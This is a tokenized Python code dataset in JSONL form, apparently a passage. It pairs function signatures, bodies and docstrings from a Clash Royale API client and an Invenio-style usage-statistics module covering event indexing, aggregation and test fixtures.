{"signature": "@typecasted<EOL><INDENT>def get_clan_war_log(self, tag: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get a clan's war log\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m24"}
{"signature": "@typecasted<EOL><INDENT>def get_tournament(self, tag: crtag, timeout=<NUM_LIT:0>):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT:/>' + tag<EOL>return self._get_model(url, PartialTournament, timeout=timeout)<EOL>", "docstring": "Get a tournament information\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m25"}
{"signature": "@typecasted<EOL><INDENT>def search_tournaments(self, name: str, **params: keys):<DEDENT>", "body": "url = self.api.TOURNAMENT<EOL>params['<STR_LIT:name>'] = name<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Search for a tournament by its name\n\n        Parameters\n        ----------\n        name: str\n            The name of a tournament\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m26"}
{"signature": "@typecasted<EOL><INDENT>def get_all_cards(self, timeout: int=None):<DEDENT>", "body": "url = self.api.CARDS<EOL>return self._get_model(url, timeout=timeout)<EOL>", "docstring": "Get a list of all the cards in the game\n\n        Parameters\n        ----------\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m27"}
{"signature": "@typecasted<EOL><INDENT>def get_all_locations(self, timeout: int=None):<DEDENT>", "body": "url = self.api.LOCATIONS<EOL>return self._get_model(url, timeout=timeout)<EOL>", "docstring": "Get a list of all locations\n\n        Parameters\n        ----------\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m29"}
{"signature": "@typecasted<EOL><INDENT>def get_location(self, location_id: int, timeout: int=None):<DEDENT>", "body": "url = self.api.LOCATIONS + '<STR_LIT:/>' + str(location_id)<EOL>return self._get_model(url, timeout=timeout)<EOL>", "docstring": "Get a location information\n\n        Parameters\n        ----------\n        location_id: int\n            A location ID\n            See https://github.com/RoyaleAPI/cr-api-data/blob/master/json/regions.json\n            for a list of acceptable location IDs\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m30"}
{"signature": "@typecasted<EOL><INDENT>def get_top_clans(self, location_id='<STR_LIT>', **params: keys):<DEDENT>", "body": "url = self.api.LOCATIONS + '<STR_LIT:/>' + str(location_id) + '<STR_LIT>'<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Get a list of top clans by trophy\n\n        Parameters\n        ----------\n        location_id: Optional[str] = 'global'\n            A location ID or global\n            See https://github.com/RoyaleAPI/cr-api-data/blob/master/json/regions.json\n            for a list of acceptable location IDs\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m31"}
{"signature": "@typecasted<EOL><INDENT>def get_top_clanwar_clans(self, location_id='<STR_LIT>', **params: keys):<DEDENT>", "body": "url = self.api.LOCATIONS + '<STR_LIT:/>' + str(location_id) + '<STR_LIT>'<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Get a list of top clan war clans\n\n        Parameters\n        ----------\n        location_id: Optional[str] = 'global'\n            A location ID or global\n            See https://github.com/RoyaleAPI/cr-api-data/blob/master/json/regions.json\n            for a list of acceptable location IDs\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m32"}
{"signature": "@typecasted<EOL><INDENT>def get_top_players(self, location_id='<STR_LIT>', **params: keys):<DEDENT>", "body": "url = self.api.LOCATIONS + '<STR_LIT:/>' + str(location_id) + '<STR_LIT>'<EOL>return self._get_model(url, PartialPlayerClan, **params)<EOL>", "docstring": "Get a list of top players\n\n        Parameters\n        ----------\n        location_id: Optional[str] = 'global'\n            A location ID or global\n            See https://github.com/RoyaleAPI/cr-api-data/blob/master/json/regions.json\n            for a list of acceptable location IDs\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m33"}
{"signature": "def get_clan_image(self, obj: BaseAttrDict):", "body": "try:<EOL><INDENT>badge_id = obj.clan.badge_id<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>badge_id = obj.badge_id<EOL><DEDENT>except AttributeError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>if badge_id is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>for i in self.constants.alliance_badges:<EOL><INDENT>if i.id == badge_id:<EOL><INDENT>return '<STR_LIT>' + i.name + '<STR_LIT>'<EOL><DEDENT><DEDENT>", "docstring": "Get the clan badge image URL\n\n        Parameters\n        ---------\n        obj: official_api.models.BaseAttrDict\n            An object that has the clan badge ID either in ``.clan.badge_id`` or ``.badge_id``\n            Can be a clan or a profile for example.\n\n        Returns str", "id": "f10352:c0:m34"}
{"signature": "def get_arena_image(self, obj: BaseAttrDict):", "body": "badge_id = obj.arena.id<EOL>for i in self.constants.arenas:<EOL><INDENT>if i.id == badge_id:<EOL><INDENT>return '<STR_LIT>'.format(i.arena_id)<EOL><DEDENT><DEDENT>", "docstring": "Get the arena image URL\n\n        Parameters\n        ---------\n        obj: official_api.models.BaseAttrDict\n            An object that has the arena ID in ``.arena.id``\n            Can be ``Profile`` for example.\n\n        Returns None or str", "id": "f10352:c0:m35"}
{"signature": "def get_card_info(self, card_name: str):", "body": "for c in self.constants.cards:<EOL><INDENT>if c.name == card_name:<EOL><INDENT>return c<EOL><DEDENT><DEDENT>", "docstring": "Returns card info from constants\n\n        Parameters\n        ---------\n        card_name: str\n            A card name\n\n        Returns None or Constants", "id": "f10352:c0:m36"}
{"signature": "def get_rarity_info(self, rarity: str):", "body": "for c in self.constants.rarities:<EOL><INDENT>if c.name == rarity:<EOL><INDENT>return c<EOL><DEDENT><DEDENT>", "docstring": "Returns card info from constants\n\n        Parameters\n        ---------\n        rarity: str\n            A rarity name\n\n        Returns None or Constants", "id": "f10352:c0:m37"}
{"signature": "def get_deck_link(self, deck: BaseAttrDict):", "body": "deck_link = '<STR_LIT>'<EOL>for i in deck:<EOL><INDENT>card = self.get_card_info(i.name)<EOL>deck_link += '<STR_LIT>'.format(card)<EOL><DEDENT>return deck_link<EOL>", "docstring": "Form a deck link\n\n        Parameters\n        ---------\n        deck: official_api.models.BaseAttrDict\n            An object is a deck. Can be retrieved from ``Player.current_deck``\n\n        Returns str", "id": "f10352:c0:m38"}
{"signature": "def get_datetime(self, timestamp: str, unix=True):", "body": "time = datetime.strptime(timestamp, '<STR_LIT>')<EOL>if unix:<EOL><INDENT>return int(time.timestamp())<EOL><DEDENT>else:<EOL><INDENT>return time<EOL><DEDENT>", "docstring": "Converts a %Y%m%dT%H%M%S.%fZ to a UNIX timestamp\n        or a datetime.datetime object\n\n        Parameters\n        ---------\n        timestamp: str\n            A timstamp in the %Y%m%dT%H%M%S.%fZ format, usually returned by the API\n            in the ``created_time`` field for example (eg. 20180718T145906.000Z)\n        unix: Optional[bool] = True\n            Whether to return a POSIX timestamp (seconds since epoch) or not\n\n        Returns int or datetime.datetime", "id": "f10352:c0:m39"}
{"signature": "def typecasted(func):", "body": "signature = inspect.signature(func).parameters.items()<EOL>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>args = list(args)<EOL>new_args = []<EOL>new_kwargs = {}<EOL>for _, param in signature:<EOL><INDENT>converter = param.annotation<EOL>if converter is inspect._empty:<EOL><INDENT>converter = lambda a: a  <EOL><DEDENT>if param.kind is param.POSITIONAL_OR_KEYWORD:<EOL><INDENT>if args:<EOL><INDENT>to_conv = args.pop(<NUM_LIT:0>)<EOL>new_args.append(converter(to_conv))<EOL><DEDENT><DEDENT>elif param.kind is param.VAR_POSITIONAL:<EOL><INDENT>for a in args:<EOL><INDENT>new_args.append(converter(a))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for k, v in kwargs.items():<EOL><INDENT>nk, nv = converter(k, v)<EOL>new_kwargs[nk] = nv<EOL><DEDENT><DEDENT><DEDENT>return func(*new_args, **new_kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator that converts arguments via annotations.", "id": "f10353:m0"}
{"signature": "def update_data(self):", "body": "if self.client.is_async:<EOL><INDENT>return self._aupdate_data()<EOL><DEDENT>if self.cursor['<STR_LIT>']:<EOL><INDENT>data, cached, ts, response = self.client._request(self.response.url, timeout=None, after=self.cursor['<STR_LIT>'])<EOL>self.cursor = {'<STR_LIT>': data['<STR_LIT>']['<STR_LIT>'].get('<STR_LIT>'), '<STR_LIT>': data['<STR_LIT>']['<STR_LIT>'].get('<STR_LIT>')}<EOL>self.raw_data += [self.model(self.client, d, response, cached=cached, ts=ts) for d in data['<STR_LIT>']]<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Adds the NEXT data in the raw_data dictionary.\n        Returns True if data is added.\n        Returns False if data is not added", "id": "f10354:c1:m8"}
{"signature": "def all_data(self):", "body": "if self.client.is_async:<EOL><INDENT>return self._aall_data()<EOL><DEDENT>while self.update_data():<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Loops through and adds all data to the raw_data\n\n        This has a chance to get 429 RatelimitError", "id": "f10354:c1:m10"}
{"signature": "def refresh(self):", "body": "if self.client.is_async:<EOL><INDENT>return self._arefresh()<EOL><DEDENT>data, cached, ts, response = self.client._request(self.response.url, timeout=None, refresh=True)<EOL>return self.from_data(data, cached, ts, response)<EOL>", "docstring": "(a)sync refresh the data.", "id": "f10354:c2:m0"}
{"signature": "def get_clan(self):", "body": "try:<EOL><INDENT>return self.client.get_clan(self.clan.tag)<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>return self.client.get_clan(self.tag)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "(a)sync function to return clan.", "id": "f10354:c3:m0"}
{"signature": "def get_player(self):", "body": "return self.client.get_player(self.tag)<EOL>", "docstring": "(a)sync function to return player.", "id": "f10354:c5:m0"}
{"signature": "def models_preparing(app):", "body": "def wrapper(resource, parent):<EOL><INDENT>if isinstance(resource, DeclarativeMeta):<EOL><INDENT>resource = ListResource(resource)<EOL><DEDENT>if not getattr(resource, '<STR_LIT>', None):<EOL><INDENT>resource.__parent__ = parent<EOL><DEDENT>return resource<EOL><DEDENT>resources_preparing_factory(app, wrapper)<EOL>", "docstring": "Wrap all sqlalchemy model in settings.", "id": "f10359:m0"}
{"signature": "def paginate_link_tag(item):", "body": "a_tag = Page.default_link_tag(item)<EOL>if item['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return make_html_tag('<STR_LIT>', a_tag, **{'<STR_LIT:class>': '<STR_LIT>'})<EOL><DEDENT>return make_html_tag('<STR_LIT>', a_tag)<EOL>", "docstring": "Create an A-HREF tag that points to another page usable in paginate.", "id": "f10360:m0"}
{"signature": "def mock_iter_entry_points_factory(data, mocked_group):", "body": "from pkg_resources import iter_entry_points<EOL>def entrypoints(group, name=None):<EOL><INDENT>if group == mocked_group:<EOL><INDENT>for entrypoint in data:<EOL><INDENT>yield entrypoint<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for x in iter_entry_points(group=group, name=name):<EOL><INDENT>yield x<EOL><DEDENT><DEDENT><DEDENT>return entrypoints<EOL>", "docstring": "Create a mock iter_entry_points function.", "id": "f10384:m0"}
{"signature": "def date_range(start_date, end_date):", "body": "if start_date >= end_date:<EOL><INDENT>for n in range((start_date - end_date).days + <NUM_LIT:1>):<EOL><INDENT>yield end_date + datetime.timedelta(n)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for n in range((end_date - start_date).days + <NUM_LIT:1>):<EOL><INDENT>yield start_date + datetime.timedelta(n)<EOL><DEDENT><DEDENT>", "docstring": "Get all dates in a given range.", "id": "f10384:m4"}
{"signature": "@contextmanager<EOL>def user_set(app, user):", "body": "def handler(sender, **kwargs):<EOL><INDENT>g.user = user<EOL><DEDENT>with appcontext_pushed.connected_to(handler, app):<EOL><INDENT>yield<EOL><DEDENT>", "docstring": "User set.", "id": "f10384:m13"}
{"signature": "def generate_events(app, file_number=<NUM_LIT:5>, event_number=<NUM_LIT:100>, robot_event_number=<NUM_LIT:0>,<EOL>start_date=datetime.date(<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT:1>),<EOL>end_date=datetime.date(<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT:7>)):", "body": "current_queues.declare()<EOL>for t in current_search.put_templates(ignore=[<NUM_LIT>]):<EOL><INDENT>pass<EOL><DEDENT>def _unique_ts_gen():<EOL><INDENT>ts = <NUM_LIT:0><EOL>while True:<EOL><INDENT>ts += <NUM_LIT:1><EOL>yield ts<EOL><DEDENT><DEDENT>def generator_list():<EOL><INDENT>unique_ts = _unique_ts_gen()<EOL>for file_idx in range(file_number):<EOL><INDENT>for entry_date in date_range(start_date, end_date):<EOL><INDENT>file_id = '<STR_LIT>'.format(file_idx + <NUM_LIT:1>)<EOL>bucket_id = '<STR_LIT>'.format(file_idx + <NUM_LIT:1>)<EOL>def build_event(is_robot=False):<EOL><INDENT>ts = next(unique_ts)<EOL>return dict(<EOL>timestamp=datetime.datetime.combine(<EOL>entry_date,<EOL>datetime.time(minute=ts % <NUM_LIT>,<EOL>second=ts % <NUM_LIT>)).<EOL>isoformat(),<EOL>bucket_id=bucket_id,<EOL>file_id=file_id,<EOL>file_key='<STR_LIT>',<EOL>size=<NUM_LIT>,<EOL>visitor_id=<NUM_LIT:100>,<EOL>is_robot=is_robot<EOL>)<EOL><DEDENT>for event_idx in range(event_number):<EOL><INDENT>yield build_event()<EOL><DEDENT>for event_idx in range(robot_event_number):<EOL><INDENT>yield build_event(True)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>mock_queue = Mock()<EOL>mock_queue.consume.return_value = generator_list()<EOL>mock_queue.routing_key = '<STR_LIT>'<EOL>EventsIndexer(<EOL>mock_queue,<EOL>preprocessors=[<EOL>build_file_unique_id<EOL>],<EOL>double_click_window=<NUM_LIT:0><EOL>).run()<EOL>current_search_client.indices.refresh(index='<STR_LIT:*>')<EOL>", "docstring": "Queued events for processing tests.", "id": "f10384:m25"}
{"signature": "def get_deleted_docs(index):", "body": "return current_search_client.indices.stats()[<EOL>'<STR_LIT>'][index]['<STR_LIT>']['<STR_LIT>'][<EOL>'<STR_LIT>']<EOL>", "docstring": "Get all deleted docs from an ES index.", "id": "f10384:m29"}
{"signature": "def _create_record_view_event(timestamp,<EOL>record_id='<STR_LIT>',<EOL>pid_type='<STR_LIT>',<EOL>pid_value='<STR_LIT:1>',<EOL>visitor_id=<NUM_LIT:100>,<EOL>user_id=None):", "body": "doc = dict(<EOL>timestamp=datetime.datetime(*timestamp).isoformat(),<EOL>record_id=record_id,<EOL>pid_type=pid_type,<EOL>pid_value=pid_value,<EOL>visitor_id=visitor_id,<EOL>user_id=user_id,<EOL>)<EOL>return build_record_unique_id(doc)<EOL>", "docstring": "Create a file_download event content.", "id": "f10384:m31"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "pass<EOL>", "docstring": "Mock constructor to accept the query_config parameters.", "id": "f10384:c0:m0"}
{"signature": "def run(self, *args, **kwargs):", "body": "return dict(bucket_id='<STR_LIT>',<EOL>value=<NUM_LIT:100>)<EOL>", "docstring": "Sample response.", "id": "f10384:c0:m1"}
{"signature": "def get_queue_size(queue_name):", "body": "queue = current_queues.queues[queue_name]<EOL>_, size, _ = queue.queue.queue_declare(passive=True)<EOL>return size<EOL>", "docstring": "Get the current number of messages in a queue.", "id": "f10385:m0"}
{"signature": "def myfunc():", "body": "pass<EOL>", "docstring": "Example function.", "id": "f10387:m0"}
{"signature": "def declare_queues():", "body": "return [dict(name='<STR_LIT>'.format(event['<STR_LIT>']),<EOL>exchange=current_stats.exchange)<EOL>for event in current_stats._events_config.values()]<EOL>", "docstring": "Index statistics events.", "id": "f10390:m0"}
{"signature": "def file_download_event_builder(event, sender_app, obj=None, **kwargs):", "body": "event.update(dict(<EOL>timestamp=datetime.datetime.utcnow().isoformat(),<EOL>bucket_id=str(obj.bucket_id),<EOL>file_id=str(obj.file_id),<EOL>file_key=obj.key,<EOL>size=obj.file.size,<EOL>referrer=request.referrer,<EOL>**get_user()<EOL>))<EOL>return event<EOL>", "docstring": "Build a file-download event.", "id": "f10392:m0"}
{"signature": "def build_file_unique_id(doc):", "body": "doc['<STR_LIT>'] = '<STR_LIT>'.format(doc['<STR_LIT>'], doc['<STR_LIT>'])<EOL>return doc<EOL>", "docstring": "Build file unique identifier.", "id": "f10392:m1"}
{"signature": "def build_record_unique_id(doc):", "body": "doc['<STR_LIT>'] = '<STR_LIT>'.format(doc['<STR_LIT>'], doc['<STR_LIT>'])<EOL>return doc<EOL>", "docstring": "Build record unique identifier.", "id": "f10392:m2"}
{"signature": "def record_view_event_builder(event, sender_app, pid=None, record=None,<EOL>**kwargs):", "body": "event.update(dict(<EOL>timestamp=datetime.datetime.utcnow().isoformat(),<EOL>record_id=str(record.id),<EOL>pid_type=pid.pid_type,<EOL>pid_value=str(pid.pid_value),<EOL>referrer=request.referrer,<EOL>**get_user()<EOL>))<EOL>return event<EOL>", "docstring": "Build a record-view event.", "id": "f10392:m3"}
{"signature": "def register_events():", "body": "return [<EOL>dict(<EOL>event_type='<STR_LIT>',<EOL>templates='<STR_LIT>',<EOL>processor_class=EventsIndexer,<EOL>processor_config=dict(<EOL>preprocessors=[<EOL>flag_robots,<EOL>anonymize_user,<EOL>build_file_unique_id<EOL>])),<EOL>dict(<EOL>event_type='<STR_LIT>',<EOL>templates='<STR_LIT>',<EOL>processor_class=EventsIndexer,<EOL>processor_config=dict(<EOL>preprocessors=[<EOL>flag_robots,<EOL>anonymize_user,<EOL>build_record_unique_id<EOL>]))<EOL>]<EOL>", "docstring": "Register sample events.", "id": "f10394:m0"}
{"signature": "def register_aggregations():", "body": "return [dict(<EOL>aggregation_name='<STR_LIT>',<EOL>templates='<STR_LIT>',<EOL>aggregator_class=StatAggregator,<EOL>aggregator_config=dict(<EOL>client=current_search_client,<EOL>event='<STR_LIT>',<EOL>aggregation_field='<STR_LIT>',<EOL>aggregation_interval='<STR_LIT>',<EOL>copy_fields=dict(<EOL>file_key='<STR_LIT>',<EOL>bucket_id='<STR_LIT>',<EOL>file_id='<STR_LIT>',<EOL>),<EOL>metric_aggregation_fields={<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>',<EOL>{'<STR_LIT>': <NUM_LIT:1000>}),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT:size>', {}),<EOL>},<EOL>)), dict(<EOL>aggregation_name='<STR_LIT>',<EOL>templates='<STR_LIT>',<EOL>aggregator_class=StatAggregator,<EOL>aggregator_config=dict(<EOL>client=current_search_client,<EOL>event='<STR_LIT>',<EOL>aggregation_field='<STR_LIT>',<EOL>aggregation_interval='<STR_LIT>',<EOL>copy_fields=dict(<EOL>record_id='<STR_LIT>',<EOL>pid_type='<STR_LIT>',<EOL>pid_value='<STR_LIT>',<EOL>),<EOL>metric_aggregation_fields={<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>',<EOL>{'<STR_LIT>': <NUM_LIT:1000>}),<EOL>},<EOL>))]<EOL>", "docstring": "Register sample aggregations.", "id": "f10394:m1"}
{"signature": "def register_queries():", "body": "return [<EOL>dict(<EOL>query_name='<STR_LIT>',<EOL>query_class=ESDateHistogramQuery,<EOL>query_config=dict(<EOL>index='<STR_LIT>',<EOL>doc_type='<STR_LIT>',<EOL>copy_fields=dict(<EOL>bucket_id='<STR_LIT>',<EOL>file_key='<STR_LIT>',<EOL>),<EOL>required_filters=dict(<EOL>bucket_id='<STR_LIT>',<EOL>file_key='<STR_LIT>',<EOL>)<EOL>)<EOL>),<EOL>dict(<EOL>query_name='<STR_LIT>',<EOL>query_class=ESTermsQuery,<EOL>query_config=dict(<EOL>index='<STR_LIT>',<EOL>doc_type='<STR_LIT>',<EOL>copy_fields=dict(<EOL>),<EOL>required_filters=dict(<EOL>bucket_id='<STR_LIT>',<EOL>),<EOL>aggregated_fields=['<STR_LIT>']<EOL>)<EOL>),<EOL>]<EOL>", "docstring": "Register queries.", "id": "f10394:m2"}
{"signature": "def register_templates():", "body": "event_templates = [current_stats._events_config[e]<EOL>['<STR_LIT>']<EOL>for e in<EOL>current_stats._events_config]<EOL>aggregation_templates = [current_stats._aggregations_config[a]<EOL>['<STR_LIT>']<EOL>for a in<EOL>current_stats._aggregations_config]<EOL>return event_templates + aggregation_templates<EOL>", "docstring": "Register elasticsearch templates for events.", "id": "f10399:m0"}
{"signature": "def __init__(self, description, **kwargs):", "body": "super(RESTException, self).__init__(**kwargs)<EOL>self.description = description<EOL>", "docstring": "Initialize exception.", "id": "f10401:c6:m0"}
{"signature": "def __init__(self, query_name):", "body": "super(RESTException, self).__init__()<EOL>self.query_name = query_name<EOL>self.description = '<STR_LIT>'.format(query_name)<EOL>", "docstring": "Constructor.\n\n        :param query_name: name of the unknown query.", "id": "f10401:c7:m0"}
{"signature": "def filter_robots(query):", "body": "return query.filter('<STR_LIT>', is_robot=False)<EOL>", "docstring": "Modify an elasticsearch query so that robot events are filtered out.", "id": "f10402:m0"}
{"signature": "def __init__(self, name, event, client=None,<EOL>aggregation_field=None,<EOL>metric_aggregation_fields=None,<EOL>copy_fields=None,<EOL>query_modifiers=None,<EOL>aggregation_interval='<STR_LIT>',<EOL>index_interval='<STR_LIT>', batch_size=<NUM_LIT:7>):", "body": "self.name = name<EOL>self.client = client or current_search_client<EOL>self.event = event<EOL>self.aggregation_alias = '<STR_LIT>'.format(self.event)<EOL>self.aggregation_field = aggregation_field<EOL>self.metric_aggregation_fields = metric_aggregation_fields or {}<EOL>self.allowed_metrics = {<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>if any(v not in self.allowed_metrics<EOL>for k, (v, _, _) in (metric_aggregation_fields or {}).items()):<EOL><INDENT>raise(ValueError('<STR_LIT>'<EOL>.format('<STR_LIT:U+002CU+0020>'.join(self.allowed_metrics))))<EOL><DEDENT>self.copy_fields = copy_fields or {}<EOL>self.aggregation_interval = aggregation_interval<EOL>self.index_interval = index_interval<EOL>self.query_modifiers = (query_modifiers if query_modifiers is not None<EOL>else [filter_robots])<EOL>self.supported_intervals = OrderedDict([('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL>self.dt_rounding_map = {<EOL>'<STR_LIT>': '<STR_LIT:h>', '<STR_LIT>': '<STR_LIT:d>', '<STR_LIT>': '<STR_LIT:M>', '<STR_LIT>': '<STR_LIT:y>'}<EOL>if list(self.supported_intervals.keys()).index(aggregation_interval)>list(self.supported_intervals.keys()).index(index_interval):<EOL><INDENT>raise(ValueError('<STR_LIT>'<EOL>'<STR_LIT>'))<EOL><DEDENT>self.index_name_suffix = self.supported_intervals[index_interval]<EOL>self.doc_id_suffix = self.supported_intervals[aggregation_interval]<EOL>self.batch_size = batch_size<EOL>self.event_index = '<STR_LIT>'.format(self.event)<EOL>", "docstring": "Construct aggregator instance.\n\n        :param event: aggregated event.\n        :param client: elasticsearch client.\n        :param aggregation_field: field on which the aggregation will be done.\n        :param metric_aggregation_fields: dictionary of fields on which a\n            metric aggregation will be computed. The format of the dictionary\n            is \"destination field\" ->\n            tuple(\"metric type\", \"source field\", \"metric_options\").\n        :param copy_fields: list of fields which are copied from the raw events\n            into the aggregation.\n        :param query_modifiers: list of functions modifying the raw events\n            query. By default the query_modifiers are [filter_robots].\n        :param aggregation_interval: aggregation time window. default: month.\n        :param index_interval: time window of the elasticsearch indices which\n            will contain the resulting aggregations.\n        :param batch_size: max number of days for which raw events are being\n            fetched in one query. This number has to be coherent with the\n            aggregation_interval.", "id": "f10402:c0:m0"}
{"signature": "@property<EOL><INDENT>def bookmark_doc_type(self):<DEDENT>", "body": "return '<STR_LIT>'.format(self.name)<EOL>", "docstring": "Get document type for the aggregation's bookmark.", "id": "f10402:c0:m1"}
{"signature": "@property<EOL><INDENT>def aggregation_doc_type(self):<DEDENT>", "body": "return '<STR_LIT>'.format(<EOL>self.event, self.aggregation_interval)<EOL>", "docstring": "Get document type for the aggregation.", "id": "f10402:c0:m2"}
{"signature": "def _get_oldest_event_timestamp(self):", "body": "<EOL>query_events = Search(<EOL>using=self.client,<EOL>index=self.event_index<EOL>)[<NUM_LIT:0>:<NUM_LIT:1>].sort(<EOL>{'<STR_LIT>': {'<STR_LIT>': '<STR_LIT>'}}<EOL>)<EOL>result = query_events.execute()<EOL>if len(result) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return parser.parse(result[<NUM_LIT:0>]['<STR_LIT>'])<EOL>", "docstring": "Search for the oldest event timestamp.", "id": "f10402:c0:m3"}
{"signature": "def get_bookmark(self):", "body": "if not Index(self.aggregation_alias,<EOL>using=self.client).exists():<EOL><INDENT>if not Index(self.event_index,<EOL>using=self.client).exists():<EOL><INDENT>return datetime.date.today()<EOL><DEDENT>return self._get_oldest_event_timestamp()<EOL><DEDENT>query_bookmark = Search(<EOL>using=self.client,<EOL>index=self.aggregation_alias,<EOL>doc_type=self.bookmark_doc_type<EOL>)[<NUM_LIT:0>:<NUM_LIT:1>].sort(<EOL>{'<STR_LIT:date>': {'<STR_LIT>': '<STR_LIT>'}}<EOL>)<EOL>bookmarks = query_bookmark.execute()<EOL>if len(bookmarks) == <NUM_LIT:0>:<EOL><INDENT>return self._get_oldest_event_timestamp()<EOL><DEDENT>bookmark = datetime.datetime.strptime(bookmarks[<NUM_LIT:0>].date,<EOL>self.doc_id_suffix)<EOL>return bookmark<EOL>", "docstring": "Get last aggregation date.", "id": "f10402:c0:m4"}
{"signature": "def set_bookmark(self):", "body": "def _success_date():<EOL><INDENT>bookmark = {<EOL>'<STR_LIT:date>': self.new_bookmark or datetime.datetime.utcnow().<EOL>strftime(self.doc_id_suffix)<EOL>}<EOL>yield dict(_index=self.last_index_written,<EOL>_type=self.bookmark_doc_type,<EOL>_source=bookmark)<EOL><DEDENT>if self.last_index_written:<EOL><INDENT>bulk(self.client,<EOL>_success_date(),<EOL>stats_only=True)<EOL><DEDENT>", "docstring": "Set bookmark for starting next aggregation.", "id": "f10402:c0:m5"}
{"signature": "def _format_range_dt(self, d):", "body": "if not isinstance(d, six.string_types):<EOL><INDENT>d = d.isoformat()<EOL><DEDENT>return '<STR_LIT>'.format(<EOL>d, self.dt_rounding_map[self.aggregation_interval])<EOL>", "docstring": "Format range filter datetime to the closest aggregation interval.", "id": "f10402:c0:m6"}
{"signature": "def agg_iter(self, lower_limit=None, upper_limit=None):", "body": "lower_limit = lower_limit or self.get_bookmark().isoformat()<EOL>upper_limit = upper_limit or (<EOL>datetime.datetime.utcnow().replace(microsecond=<NUM_LIT:0>).isoformat())<EOL>aggregation_data = {}<EOL>self.agg_query = Search(using=self.client,<EOL>index=self.event_index).filter('<STR_LIT>', timestamp={<EOL>'<STR_LIT>': self._format_range_dt(lower_limit),<EOL>'<STR_LIT>': self._format_range_dt(upper_limit)})<EOL>for modifier in self.query_modifiers:<EOL><INDENT>self.agg_query = modifier(self.agg_query)<EOL><DEDENT>hist = self.agg_query.aggs.bucket(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>field='<STR_LIT>',<EOL>interval=self.aggregation_interval<EOL>)<EOL>terms = hist.bucket(<EOL>'<STR_LIT>', '<STR_LIT>', field=self.aggregation_field, size=<NUM_LIT:0><EOL>)<EOL>top = terms.metric(<EOL>'<STR_LIT>', '<STR_LIT>', size=<NUM_LIT:1>, sort={'<STR_LIT>': '<STR_LIT>'}<EOL>)<EOL>for dst, (metric, src, opts) in self.metric_aggregation_fields.items():<EOL><INDENT>terms.metric(dst, metric, field=src, **opts)<EOL><DEDENT>results = self.agg_query.execute()<EOL>index_name = None<EOL>for interval in results.aggregations['<STR_LIT>'].buckets:<EOL><INDENT>interval_date = datetime.datetime.strptime(<EOL>interval['<STR_LIT>'], '<STR_LIT>')<EOL>for aggregation in interval['<STR_LIT>'].buckets:<EOL><INDENT>aggregation_data['<STR_LIT>'] = interval_date.isoformat()<EOL>aggregation_data[self.aggregation_field] = aggregation['<STR_LIT:key>']<EOL>aggregation_data['<STR_LIT:count>'] = aggregation['<STR_LIT>']<EOL>if self.metric_aggregation_fields:<EOL><INDENT>for f in self.metric_aggregation_fields:<EOL><INDENT>aggregation_data[f] = aggregation[f]['<STR_LIT:value>']<EOL><DEDENT><DEDENT>doc = aggregation.top_hit.hits.hits[<NUM_LIT:0>]['<STR_LIT>']<EOL>for destination, source in self.copy_fields.items():<EOL><INDENT>if 